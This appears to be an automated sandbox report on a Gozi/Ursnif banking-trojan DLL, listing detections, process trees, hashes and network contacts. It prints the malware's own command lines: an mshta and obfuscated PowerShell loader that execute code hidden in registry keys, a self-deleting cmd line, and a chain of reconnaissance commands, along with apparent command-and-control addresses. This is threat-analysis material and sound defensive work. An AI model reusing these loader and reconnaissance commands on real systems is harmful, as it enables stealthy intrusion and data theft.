Malware Analysis Report

2025-06-16 04:54

Sample ID 220614-klez1shba6
Target 62a8495f3b293.dll
SHA256 ce3d465a139b6c7ca2b3414a08230b50b1e2e341310113ada498c2aecdce1d96
Tags
gozi_ifsb 3000 banker trojan suricata
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ce3d465a139b6c7ca2b3414a08230b50b1e2e341310113ada498c2aecdce1d96

Threat Level: Known bad

The file 62a8495f3b293.dll was found to be: Known bad.

Malicious Activity Summary

gozi_ifsb 3000 banker trojan suricata

suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

Gozi, Gozi IFSB

suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

Blocklisted process makes network request

Checks computer location settings

Suspicious use of SetThreadContext

Enumerates physical storage devices

Enumerates processes with tasklist

Suspicious behavior: EnumeratesProcesses

Runs ping.exe

Suspicious use of SetWindowsHookEx

Suspicious behavior: GetForegroundWindowSpam

Gathers system information

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Discovers systems in the same network

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-06-14 08:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-06-14 08:41

Reported

2022-06-14 08:43

Platform

win7-20220414-en

Max time kernel

36s

Max time network

39s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\62a8495f3b293.dll,#1

Signatures

Gozi, Gozi IFSB

banker trojan gozi_ifsb

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1620 wrote to memory of 1100 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1620 wrote to memory of 1100 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1620 wrote to memory of 1100 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1620 wrote to memory of 1100 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1620 wrote to memory of 1100 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1620 wrote to memory of 1100 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1620 wrote to memory of 1100 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\62a8495f3b293.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\62a8495f3b293.dll,#1

Network

N/A

Files

memory/1100-54-0x0000000000000000-mapping.dmp

memory/1100-55-0x0000000075951000-0x0000000075953000-memory.dmp

memory/1100-56-0x0000000000170000-0x00000000001DF000-memory.dmp

memory/1100-57-0x0000000000170000-0x00000000001DF000-memory.dmp

memory/1100-59-0x0000000000140000-0x0000000000146000-memory.dmp

memory/1100-60-0x00000000001F0000-0x00000000001FD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-06-14 08:41

Reported

2022-06-14 08:43

Platform

win10v2004-20220414-en

Max time kernel

152s

Max time network

153s

Command Line

C:\Windows\System32\RuntimeBroker.exe -Embedding

Signatures

Gozi, Gozi IFSB

banker trojan gozi_ifsb

suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

suricata

suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

suricata

suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

suricata

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation C:\Windows\System32\mshta.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4088 set thread context of 2772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Explorer.EXE
PID 2772 set thread context of 3504 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 set thread context of 3812 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 set thread context of 4104 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 set thread context of 4068 N/A C:\Windows\Explorer.EXE C:\Windows\System32\cmd.exe
PID 4068 set thread context of 4728 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\PING.EXE
PID 2772 set thread context of 2468 N/A C:\Windows\Explorer.EXE C:\Windows\syswow64\cmd.exe

Enumerates physical storage devices

Discovers systems in the same network

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\net.exe N/A
N/A N/A C:\Windows\system32\net.exe N/A
N/A N/A C:\Windows\system32\net.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\System32\cmd.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3912 wrote to memory of 4668 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3912 wrote to memory of 4668 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3912 wrote to memory of 4668 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 456 wrote to memory of 4088 N/A C:\Windows\System32\mshta.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 456 wrote to memory of 4088 N/A C:\Windows\System32\mshta.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4088 wrote to memory of 1832 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 4088 wrote to memory of 1832 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 1832 wrote to memory of 4860 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 1832 wrote to memory of 4860 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 4088 wrote to memory of 4812 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 4088 wrote to memory of 4812 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 4812 wrote to memory of 1144 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 4812 wrote to memory of 1144 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 4088 wrote to memory of 2772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Explorer.EXE
PID 4088 wrote to memory of 2772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Explorer.EXE
PID 4088 wrote to memory of 2772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Explorer.EXE
PID 4088 wrote to memory of 2772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Explorer.EXE
PID 2772 wrote to memory of 4068 N/A C:\Windows\Explorer.EXE C:\Windows\System32\cmd.exe
PID 2772 wrote to memory of 4068 N/A C:\Windows\Explorer.EXE C:\Windows\System32\cmd.exe
PID 2772 wrote to memory of 4068 N/A C:\Windows\Explorer.EXE C:\Windows\System32\cmd.exe
PID 2772 wrote to memory of 3504 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 3504 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 3504 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 3504 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 3812 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 3812 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 3812 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 3812 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 4104 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 4104 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 4104 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 4104 N/A C:\Windows\Explorer.EXE C:\Windows\System32\RuntimeBroker.exe
PID 2772 wrote to memory of 4068 N/A C:\Windows\Explorer.EXE C:\Windows\System32\cmd.exe
PID 2772 wrote to memory of 4068 N/A C:\Windows\Explorer.EXE C:\Windows\System32\cmd.exe
PID 4068 wrote to memory of 4728 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\PING.EXE
PID 4068 wrote to memory of 4728 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\PING.EXE
PID 4068 wrote to memory of 4728 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\PING.EXE
PID 4068 wrote to memory of 4728 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\PING.EXE
PID 4068 wrote to memory of 4728 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\PING.EXE
PID 2772 wrote to memory of 3224 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 2772 wrote to memory of 3224 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 3224 wrote to memory of 4196 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 3224 wrote to memory of 4196 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 2772 wrote to memory of 2468 N/A C:\Windows\Explorer.EXE C:\Windows\syswow64\cmd.exe
PID 2772 wrote to memory of 2468 N/A C:\Windows\Explorer.EXE C:\Windows\syswow64\cmd.exe
PID 2772 wrote to memory of 2468 N/A C:\Windows\Explorer.EXE C:\Windows\syswow64\cmd.exe
PID 2772 wrote to memory of 2468 N/A C:\Windows\Explorer.EXE C:\Windows\syswow64\cmd.exe
PID 2772 wrote to memory of 2468 N/A C:\Windows\Explorer.EXE C:\Windows\syswow64\cmd.exe
PID 2772 wrote to memory of 2468 N/A C:\Windows\Explorer.EXE C:\Windows\syswow64\cmd.exe
PID 2772 wrote to memory of 2416 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 2772 wrote to memory of 2416 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 2772 wrote to memory of 1392 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 2772 wrote to memory of 1392 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 1988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 1392 wrote to memory of 1988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2772 wrote to memory of 1436 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 2772 wrote to memory of 1436 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 2772 wrote to memory of 2628 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 2772 wrote to memory of 2628 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 2628 wrote to memory of 4216 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\nslookup.exe
PID 2628 wrote to memory of 4216 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\nslookup.exe
PID 2772 wrote to memory of 2444 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 2772 wrote to memory of 2444 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe
PID 2772 wrote to memory of 4504 N/A C:\Windows\Explorer.EXE C:\Windows\system32\cmd.exe

Processes

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\62a8495f3b293.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\62a8495f3b293.dll,#1

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Y54y='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Y54y).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\10AAFBA1-2FF6-C22D-3944-D3167DB8B7AA\\\ManagerPack'));if(!window.flag)close()</script>"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xqybmqw -value gp; new-alias -name rssuhdah -value iex; rssuhdah ([System.Text.Encoding]::ASCII.GetString((xqybmqw "HKCU:Software\AppDataLow\Software\Microsoft\10AAFBA1-2FF6-C22D-3944-D3167DB8B7AA").GameStop))

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\azfzjlhg\azfzjlhg.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8FAD.tmp" "c:\Users\Admin\AppData\Local\Temp\azfzjlhg\CSCA97070133A86490688214EDFC814C8F.TMP"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kzvh0w4v\kzvh0w4v.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9124.tmp" "c:\Users\Admin\AppData\Local\Temp\kzvh0w4v\CSCA14F2C892A28466E9AFEF346DAE60E5.TMP"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\62a8495f3b293.dll"

C:\Windows\system32\PING.EXE

ping localhost -n 5

C:\Windows\system32\cmd.exe

cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\systeminfo.exe

systeminfo.exe

C:\Windows\syswow64\cmd.exe

"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\net.exe

net view

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\nslookup.exe

nslookup 127.0.0.1

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\tasklist.exe

tasklist.exe /SVC

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\driverquery.exe

driverquery.exe

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\reg.exe

reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\net.exe

net config workstation

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 config workstation

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\nltest.exe

nltest /domain_trusts

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\nltest.exe

nltest /domain_trusts /all_trusts

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\net.exe

net view /all /domain

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\net.exe

net view /all

C:\Windows\system32\cmd.exe

cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

C:\Windows\system32\cmd.exe

cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\3A5.bin1 > C:\Users\Admin\AppData\Local\Temp\3A5.bin & del C:\Users\Admin\AppData\Local\Temp\3A5.bin1"

Network

Country Destination Domain Proto
US 93.184.220.29:80 tcp
US 13.107.42.16:80 config.edge.skype.com tcp
NL 8.238.24.126:80 tcp
US 13.89.178.26:443 tcp
DE 194.76.226.15:80 194.76.226.15 tcp
NL 104.110.191.140:80 tcp
NL 104.110.191.140:80 tcp
NL 104.110.191.140:80 tcp
IQ 5.42.199.72:80 5.42.199.72 tcp
US 8.8.8.8:53 xmhomestilesh.at udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 1.0.0.127.in-addr.arpa udp
BE 67.27.153.254:80 tcp
US 8.8.8.8:53 geodezhols.at udp

Files

memory/4668-130-0x0000000000000000-mapping.dmp

memory/4668-131-0x0000000000400000-0x000000000046F000-memory.dmp

memory/4668-133-0x00000000011C0000-0x00000000011C6000-memory.dmp

memory/4668-134-0x0000000002D50000-0x0000000002D5D000-memory.dmp

memory/4088-138-0x0000000000000000-mapping.dmp

memory/4088-139-0x000002EA39510000-0x000002EA39532000-memory.dmp

memory/4088-140-0x00007FFA49F10000-0x00007FFA4A9D1000-memory.dmp

memory/1832-141-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\azfzjlhg\azfzjlhg.cmdline

MD5 8de04e18a51dad97b070f9064c7c344b
SHA1 10214da31427654f48a6b4de2d8b51e4d60f3ac3
SHA256 70e8ade4c72ab9597cfb76a1604e631b8a596aa69d8bb3d34c723323f987e201
SHA512 da3b7d5bbbbce2a0080f7a862838557a942880a8481c8c36c371f9e84e1d92e2ab31739a9b3be3972e7b7af018c46f4406879ff3b777270943094d14faa774ae

\??\c:\Users\Admin\AppData\Local\Temp\azfzjlhg\azfzjlhg.0.cs

MD5 f820213893ae01ec4cfea63472d9bee7
SHA1 3f52e992772d4b98f56666d6c018d33c8499f8fb
SHA256 320df24e318288a7c53091fcf36ba34e2717e520d504e46d0c60538b04928c9b
SHA512 1e9fd857a3c6ffd7d6b291b156656b2c6983617849941e3901519703e4cb126c1f31d9233459fc0792acc985642b85772f03d1aa7f9de387d0b5fbf641bc26fe

memory/4860-144-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\azfzjlhg\CSCA97070133A86490688214EDFC814C8F.TMP

MD5 746ac370f8032c4af4dee4628308f54c
SHA1 0f49b5c2d89f7b4a50e4de793aebf757403f0d22
SHA256 221702a2d2f3bc829b4ecd7ee79cc655d8b42621b8cd01ef7a11c3a114740e96
SHA512 a283bdebdf69a1a211dc0d89cfb5869db4b7a82b4761aba644291f858e07d56b317483875e88581e704582c2fd260050298cafd25167ffdc6cddfe2fc8355aa4

C:\Users\Admin\AppData\Local\Temp\RES8FAD.tmp

MD5 296128f0b736f5f1a6a02f87e2b5ded7
SHA1 8b66699f6921bf01f7208f6f484cf824e6ebefc1
SHA256 6f49a27c7e6ba24ff62d36846e9512b22af94b59706deb0fa1473c9d7727d9c3
SHA512 5fe59de22d07ab6fb97940dda40b171c080c29166c023829c39cbf58e652626be784786030040b7f553f296d6158220a8a9f041f6a0d15be9dbb751b291df40d

C:\Users\Admin\AppData\Local\Temp\azfzjlhg\azfzjlhg.dll

MD5 e9280abc48f93f94e4300cff7ffe34dd
SHA1 1be6f35a3a1b6be99b3fdc8815914a1b3e583e9f
SHA256 08eedd78d0552a09917d5b1d9535bc6e406cfc1672831dced6eec891581df190
SHA512 1ce949ef228bef4926a42b6657e63b956b6982f751b266cbeed8eb1b6c0735482d1c010dfc364d574e9bac7f8d7ccdd56e51ede5359d7710dbfacb22ec000aa4

memory/4812-148-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\kzvh0w4v\kzvh0w4v.cmdline

MD5 020523e619e2c4cf0afd6644c2adaf96
SHA1 61d0d1574036f501948093279891efe2d3a0b309
SHA256 5bcbbe7297b7b6acb4de144eabef738becb364207054919b4ae9118d93a57c3c
SHA512 c2b5e67b72c012539e8818c0f6cc4c1a5c9efc9cdc48b3bdc0e38bc8c2b5972cc63b330c8353ce0fd3e07959b2f5b6de0890bf1b416fdbfec818000fa2f80da2

\??\c:\Users\Admin\AppData\Local\Temp\kzvh0w4v\kzvh0w4v.0.cs

MD5 0077218343b3a9ec4b12f1fd77ef52dc
SHA1 0b8e186a73e6403d5a1476ec828f338019ba5c9e
SHA256 83736f1996108f1f4ec03e27b8ecd278547bb2539ed7fe43ee81a9530c40befa
SHA512 e02e64b413e176a985ea54746a01e9bf4c5ae57bca87e3ae6f670b9c12ddafa5bb9282029d53a9393cd5dbce8889002e054f5d14611baa5bd3aefd0ed381db9e

memory/1144-151-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\kzvh0w4v\CSCA14F2C892A28466E9AFEF346DAE60E5.TMP

MD5 62a421aa9ff10e87146159c72bcb9465
SHA1 1bd1ce690e30d616efc6aefbb27eed801d33eb2e
